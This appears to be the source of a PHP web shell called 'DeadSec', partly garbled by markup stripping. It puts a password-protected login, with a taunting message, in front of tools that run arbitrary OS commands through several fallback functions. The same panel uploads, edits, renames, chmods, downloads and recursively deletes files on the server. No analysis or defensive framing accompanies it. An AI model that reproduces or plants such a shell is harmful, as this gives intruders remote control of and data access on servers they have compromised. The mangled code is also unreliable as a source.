LOGIN DeadSec

haha login first little bastard

sukses login!.

'; if (isset($_POST["log"]) && $_POST["log"] === "login") { if (isset($_POST["username"]) && $_POST["username"] !== username || isset($_POST["password"]) && md5($_POST["password"]) !== passwd) { echo $login_error; } } ?>
Username
Password
&1"; if (function_exists("system")) { @ob_start(); system($cmd); $stdout = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("exec")) { exec($cmd, $output); $stdout = @join("\n", $output); } elseif (function_exists("passthru")) { @ob_start(); passthru($cmd); $stdout = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("shell_exec")) { $stdout = shell_exec($cmd); } elseif (function_exists("proc_open")) { $stdout = ""; $std = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $handle = proc_open($cmd, $std, $pipes); if (is_resource($handle)) { if (function_exists("fread") && function_exists("feof")) { while (!feof($pipes[1])) { $stdout .= fread($pipes[1], 512); } } elseif (function_exists("fgets") && function_exists("feof")) { while (!feof($pipes[1])) { $stdout .= fgets($pipes[1], 512); } } } } else $stdout = "All executable function is disabled."; return $stdout; } function fsize($filepath) { if (is_file($filepath)) { $size = filesize($filepath); if ($size >= 1073741824) { $size = round($size / 1073741824, 2) . " GB"; } elseif ($size >= 1048576) { $size = round($size / 1048576, 2) . " MB"; } else { $size = round($size / 1024, 2) . " KB"; } return $size; } } function getint($int) { $num = 0; for ($i = strlen($int) - 1; $i >= 0; --$i) { $num += (int) $int[$i] * pow(8, (strlen($int) - $i - 1)); } return $num; } function forcedelete($path) { $path = (substr($path, -1) === "/") ? $path : $path . "/"; $dirs = @opendir($path); while (($item = @readdir($dirs)) !== false) { $item = $path . $item; if ((basename($item) === "..") || (basename($item) === ".")) { continue; } $type = @filetype($item); if ($type === "dir") { forcedelete($item); } else { @unlink($item); } } @closedir($dirs); return @rmdir($path); } function download($path) { if (file_exists($path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($path)); readfile($path); exit; } } function mini_shell() { ?> Login To DeadSec
Current path:~$ /"; continue; } if ($paths[$i] === '') continue; echo "" . $paths[$i] . "/"; } ?>
Cannot read directory. (Not readable)
"; elseif (!is_writable($path)) echo "
Not writable path (RED DIR)
"; $upload_success = "
File uploaded successfully.
"; if (isset($_FILES["fileUp"])) { if (function_exists("move_uploaded_file") && @move_uploaded_file($_FILES["fileUp"]["tmp_name"], $path . "/" . $_FILES["fileUp"]["name"])) { echo $upload_success; } elseif (function_exists("copy") && @copy($_FILES["fileUp"]["tmp_name"], $path . "/" . $_FILES["fileUp"]["name"])) { echo $upload_success; } else echo "
Failed to upload.
"; } if (isset($_POST["option"]) && $_POST["option"] === "chmod" && isset($_POST["path"])) { if (isset($_POST["chmod"]) && @chmod($_POST["path"], getint($_POST["chmod"]))) { ?>
Permission changed successfully.
Failed to change permission.
"> Chmod:
Success
Cannot rename file. An error occurred.
"> "> Rename file: ">
Directory deleted successfully.
Failed to delete directory.
File deleted successfully.
Failed to delete file.
File edited successfully.
Failed to edit file content.
">
File: " . basename($_GET["filesource"]) . ""; echo ""; } elseif (is_readable($path)) { $scandir = @scandir($path); ?>
Name Size Permission Options
"> - "; } elseif (is_readable($pathdir)) { echo ""; } else { echo ""; } echo perms($pathdir) . ""; ?>
"; } elseif (is_readable($filepath)) { echo ""; } else { echo ""; } echo perms($filepath) . ""; ?>